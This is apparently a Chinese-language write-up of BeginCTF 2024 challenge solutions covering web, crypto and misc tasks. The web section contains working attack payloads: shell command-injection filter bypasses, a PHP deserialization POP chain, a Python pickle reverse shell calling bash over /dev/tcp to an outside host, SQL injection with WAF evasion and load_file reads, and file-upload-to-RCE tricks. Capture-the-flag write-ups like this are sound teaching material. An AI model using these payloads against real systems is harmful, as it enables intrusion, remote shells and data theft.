WEB

readbooks

这题主打一个大胆猜测(

先抓包,在/publuc/xx可以查看文件,在/list/路由可以查看目录。

传入/list/*,可以得到文件的目录

接着去/publuc/路由读app.py,传入/publuc/a*,即可得到源码。

import os
from flask import Flask, request, render_template

app = Flask(__name__)

DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+']
DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']
BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]

BLACKLIST.append("/")
BLACKLIST.append("\\")
BLACKLIST.append(" ")
BLACKLIST.append("\t")
BLACKLIST.append("\n")
BLACKLIST.append("tc")

ALLOW = [
"{",
"}",
"[",
"pwd",
"-",
"_"
]

for a in ALLOW:
try:
BLACKLIST.remove(a)
except ValueError:
pass

@app.route('/')
@app.route('/index')
def hello_world():
return render_template('index.html')

@app.route('/public/<path:name>')
def readbook(name):
name = str(name)
for i in DISALLOWED1:
if i in name:
return "banned!"
for j in DISALLOWED_FILES:
if j in name:
return "banned!"
for k in BLACKLIST:
if k in name:
return "banned!"
print(name)
try:
res = os.popen('cat {}'.format(name)).read()
return res
except:
return "error"

@app.route('/list/<path:name>')
def listbook(name):
name = str(name)
for i in DISALLOWED1:
if i in name:
return "banned!"
for j in DISALLOWED_FILES:
if j in name:
return "banned!"
for k in BLACKLIST:
if k in name:
return "banned!"
print(name)
cmd = 'ls {}'.format(name)
try:
res = os.popen(cmd).read()
return res
except:
return "error"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=8878)

根据源码逻辑,很明显能在路由那里命令执行。

绕过过滤,通过在关键字中间插入''来绕过关键字过滤,比如echo能用ec''ho来绕过,空格能用 ${IFS}绕过,反引号没被过滤,可以内联执行。

因为\/.被过滤了,因此不能跳转路径,但|没被过滤,因此可以使用echo搭配base64来写sh,再用bash来执行 sh文件。

先写sh,写入一个ls /

先把ls />2进行 base64编码,得到bHMgLz4y ,然后写进一个文件内。

`ec''ho${IFS}bHMgLz4y|bas''e64${IFS}-d>1`

接着执行bash${IFS}1,查看文件2 。

接着采用相同的操作,执行cat /_flag>2

`ec''ho${IFS}Y2F0IC9fZmxhZz4y|bas''e64${IFS}-d>1`

查看文件2即可得到flag。

POPgadget

源码:

<?php

highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}

class Test{
public function __call($f,$p){
echo getenv("FLAG");
}
public function __wakeup(){
echo "serialize me?";
}
}

class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}

class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}

if(isset($_REQUEST['begin'])){
unserialize($_REQUEST['begin']);
}
?>

思路:猜测flag在env里,那么执行phpinfo函数即可。

  1. 通过 Fun::__call执行phpinfo
  2. A::__get 触发 1;
  3. B::__destruct 触发 2
  4. pop链:B::__destruct => A::__get => Fun::__call

poc:

<?php
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}

class Test{
public function __call($f,$p){
echo getenv("FLAG");
}
public function __wakeup(){
echo "serialize me?";
}
}

class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}

class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}

$a = new B();
$a->a = new A();
$a->p = 'phpinfo';
$a->a->a = new Fun();

echo serialize($a);

// O:1:"B":2:{s:1:"p";s:7:"phpinfo";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"Funfunc";s:20:"call_user_func_array";}}}

ctrl+f搜flag即可得到flag。

pickelshop

pickle反序列化

抓包注册一个账号,即可得到cookie

cookie放到/login页面,登录成功。

pickle反弹shell即可。

import pickle
import base64
import os

class Email():
def __reduce__(self):
return (eval,('''__import__("os").popen("bash -c 'bash -i >& /dev/tcp/xxxxx/2333 0>&1'").read()''',))

def login():
poc = base64.b64encode(pickle.dumps(Email()))
print(poc)

login()
# b'gASVcgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxWX19pbXBvcnRfXygib3MiKS5wb3BlbigiYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzIzMzMgMD4mMSciKS5yZWFkKCmUhZRSlC4='

sql教学局

sql联合注入

说明:

你需要通过SQL注入的手法,并绕过一些waf,来拿到3段flag

第一段flag位于 secret数据库password表的某条数据
第二段flag位于 当前数据库score表,学生begin的成绩(grade)
第三段flag位于 /flag

过滤:

过滤 绕过
空格 /**/
or 双写,oorr
= like
select 双写 selselectect
frome 双写 frfromom
and
load 双写 loloadad

flag1

查表名

user=1'/**/union/**/selselectect/**/group_concat(table_name)/**/frfromom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/'ctf'%23

得到

password

查列名

user=1'/**/union/**/selselectect/**/GROUP_CONCAT(COLUMN_NAME)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'passwoorrd'%23

得到

id,note,flag

查数据

user=1'/**/union/**/selselectect/**/flag/**/frfromom/**/secret.passwoorrd%23

得到

flag{d2c3f0d3-

flag2

直接查数据即可

user=1'/**/union/**/selselectect/**/grade/**/frofromm/**/scoorre/**/where/**/student/**/like/**/'begin'%23

得到

fffb-4263-a255

flag3

读文件

user=1'/**/union/**/selselectect/**/loloadad_file('/flag')%23

得到

-75ff2dda0726}

flag

flag{d2c3f0d3-fffb-4263-a255-75ff2dda0726}

zupload / zupload-pro / zupload-pro-plus

这三个题都能用伪协议来做

action=php://filter/convert.base64-encode/resource=/flag

zupload-pro-plus-max

先压缩一个zip,然后在zip后边添加上一句话木马,接着再上传。

之后把上传的zip包含进来即可rce。

zupload-pro-plus-max-ultra

源码:

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];
$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';

$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));

$allowed = array('zip');

if (in_array($file_ext, $allowed)) {
if ($file_error === 0) {
if ($file_size <= 2097152) {

exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}

题目使用了exec函数用unzip解压,这里有两种做法,做法二的演示放在zupload-pro-plus-max-ultra-premium这一题。

解法一:

控制$extract_to参数,可以利用截断来执行新的命令。把命令执行的输出写到文件里,可以实现rce。

$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';

$extract_to参数是通过http头X-EXTRACT-TO传入的,因此控制这个即可。

访问1,即可看到flag。

zupload-pro-plus-max-ultra-premium

因为是用的unzip解压,因此可以使用软链接来链接到根目录的flag。

参考:CTFSHOW国赛复现—–Unzip(软连接利用)

先压缩一个软链接 。

然后把压缩包上传,之后访问/uploads/flag即可得到flag。

zupload-pro-revenge

只有前端过滤,抓包改后缀即可。

之后访问/uploads/shell.php即可rce。

zupload-pro-plus-enhanced

源码

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
die('<h1>Invalid action</h1>');
}
die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
$file_name = $file['name'];
$file_tmp = $file['tmp_name'];
$file_size = $file['size'];
$file_error = $file['error'];

$file_ext = explode('.', $file_name);
$file_ext = strtolower($file_ext[1]);

$allowed = array('zip');

if (in_array($file_ext, $allowed)) {
if ($file_error === 0) {
if ($file_size <= 2097152) {
$file_destination = 'uploads/' . $file_name;

if (move_uploaded_file($file_tmp, $file_destination)) {
echo json_encode(array(
'status' => 'ok',
'message' => 'File uploaded successfully',
'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
));
}
}
}
} else {
echo json_encode(array(
'status' => 'error',
'message' => 'Only zip files are allowed'
));
}
}

观察这段代码

$file_ext = explode('.', $file_name);
$file_ext = strtolower($file_ext[1]);

$allowed = array('zip');

if (in_array($file_ext, $allowed)) {
xxx
}

这里对文件名的处理是以.为分割把文件名分成数组,再判断这个数组存不存在zip字符串。

那么我们上传一个shell.zip.php的文件即可满足条件。

访问/uploads/shell.zip.php即可rce。

Crypto

fake_n

源码:

from Crypto.Util.number import *
from secret import flag

def fakeN_list():
puzzle_list = []

for i in range(15):
r = getPrime(32)
puzzle_list.append(r)

p = getPrime(32)
q = getPrime(32)
com = p*q

puzzle_list.append(com)

return puzzle_list

def encrypt(m,e,fake_n_list):

fake_n = 1
for i in range(len(fake_n_list)):
fake_n *= fake_n_list[i]

really_n = 1
for i in range(len(fake_n_list)-1):
really_n *= fake_n_list[i]

c = pow(m,e,really_n)

print("c =",c)
print("fake_n =",fake_n)

if __name__ == '__main__':
m = bytes_to_long(flag)
e = 65537
fake_n_list = fakeN_list()
encrypt(m,e,fake_n_list)

'''
c = 6451324417011540096371899193595274967584961629958072589442231753539333785715373417620914700292158431998640787575661170945478654203892533418902
fake_n = 178981104694777551556050210788105224912858808489844293395656882292972328450647023459180992923023126555636398409062602947287270007964052060975137318172446309766581
'''

先用yafu分解fake_n,然后一个一个试即可。

脚本:

import gmpy2
from Crypto.Util.number import long_to_bytes

def decode(c,e,phi,n):
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
return flag


e = 65537
c=6451324417011540096371899193595274967584961629958072589442231753539333785715373417620914700292158431998640787575661170945478654203892533418902

N = [3429664037,2290486867,2333428577,3417707929,4098704749,3278987191,3965529989,3716624207,4267348123,2507934301,2215221821,3389689241,2446301969,2590663067,3107210929,2361589081,3859354699]

phi = 1
n = 1

for i in N:
n *= i
phi = (i-1)*phi
flag = decode(c,e,phi,n)
if b"flag" in flag or b"begin" in flag:
print(flag)
break
# b'begin{y0u_f1nd_th3_re4l_n}'

PAD

源码:

import random, math

from Crypto.Util.number import *
from flag import flag
flag=flag[:64]
assert len(flag) == 64

class RSA():
def __init__(self, m: int):
self.p, self.q, self.e, self.m = getPrime(512), getPrime(512), getRandomRange(1,8), m
self.n = self.p * self.q
def Publickey(self):
return (self.n, self.e,self.c)
def Encrypt(self):
pad = PAD(m=self.m, e=0)
pad.PAD()
self.c = (pad.e,pow(pad.M, self.e, self.n))
class PAD():
def __init__(self, m: int, e):
self.e, self.m, self.mbits = e, m, m.bit_length()
if e == 0:
self.e = getRandomRange(2, 7)
def PAD(self):
self.M = pow(self.e, self.mbits) + pow(self.m, self.e)
GIFT = bytes_to_long(flag)
with open("GIFT.txt", "w") as f:
for i in range(40):
rsa = RSA(m=GIFT)
rsa.Encrypt()
f.write(str(rsa.Publickey()) + "\n")

查看GIFT.txt,有类似这样的数据

(105489743033600776618404736924014082773234739025040235918547880079849719971737127359304073614094075884043630513694448370483208184306027684643273284267932051217742004175757404293643624264846421545917186078199365762796141089940330731024030929168374696605389962930325106070659194496163327222019090112724836643593, 1, (2, 26557762379124264922132214420209728936796452559751033517820166259647971200493029434772959145551662395540203237914969022639479368547265045300822940244603592956901947131088363115332681941180989239355596363143445708865429254462912210194997411474244175252940834791770566886483490068164580622099300335891131365129))

结合上面源码分析,如果rsa的e=1时,输出的c大概率是m。

对于PAD部分,很显然pow(self.m, self.e) 远大于 pow(self.e, self.mbits),那当e=2时,开根号取整即可得到flag。

这里需要考虑开根号后浮点数的精度问题,要用gmpy2.isqrt来开根号。

from Crypto.Util.number import *
import gmpy2

m = 26557762379124264922132214420209728936796452559751033517820166259647971200493029434772959145551662395540203237914969022639479368547265045300822940244603592956901947131088363115332681941180989239355596363143445708865429254462912210194997411474244175252940834791770566886483490068164580622099300335891131365129

print(long_to_bytes(int(gmpy2.isqrt(m))))

# b'begin{8E6C79D2-E960-C57A-F3E4-A52BC827ED6B_Dragon_Year_happy!!!}'

ezRsa

e很小,可以通过爆破k开平方得到m

import gmpy2

n = 7709388356791362098686964537734555579863438117190798798028727762878684782880904322549856912344789781854618283939002621383390230228555920884200579836394161
c = 5573755468949553624452023926839820294500672937008992680281196534187840615851844091682946567434189657243627735469507175898662317628420037437385814152733456

e = 2

k = 0
while 1:
res = gmpy2.iroot(k*n+c,e)
if(res[1] == True):
print(bytes.fromhex(hex(res[0])[2:]))
break
k += 1

# b'begin{quadr4ticresidue_i5_s0_3asy}'

Misc

real check in

为了选手有更好的游玩体验请及时加入beginctf2024官方群,群号:612995005

从catf1y的笔记本中发现了这个神秘的代码MJSWO2LOPNLUKTCDJ5GWKX3UN5PUEM2HNFXEGVCGL4ZDAMRUL5EDAUDFL5MU6VK7O5UUYMK7GEYWWZK7NE3X2===

你能帮助我找到最后的flag吗?

Author: BeginCTF2024

Difficult: baby

base32解码即可得到flag。

Tupper

把txt的内容拼接起来,可以得到一串数字

import base64

flag = b''

def getstr(filename):
a = open(filename,'rb').read()
return base64.b64decode(a)

i=0
while i<=672:
flag+=getstr('./tupper/'+str(i)+'.txt')
i+=4

print(flag)
# b'14278193432728026049298574575557534321062349352543562656766469704092874688354679371212444382298821342093450398907096976002458807598535735172126657504131171684907173086659505143920300085808809647256790384378553780282894239751898620041143383317064727136903634770936398518547900512548419486364915399253941245911205262493591158497708219126453587456637302888701303382210748629800081821684283187368543601559778431735006794761542413006621219207322808449232050578852431361678745355776921132352419931907838205001184'

把这串数字放到 Tupper’s Formula Tools 画图,即可得到flag。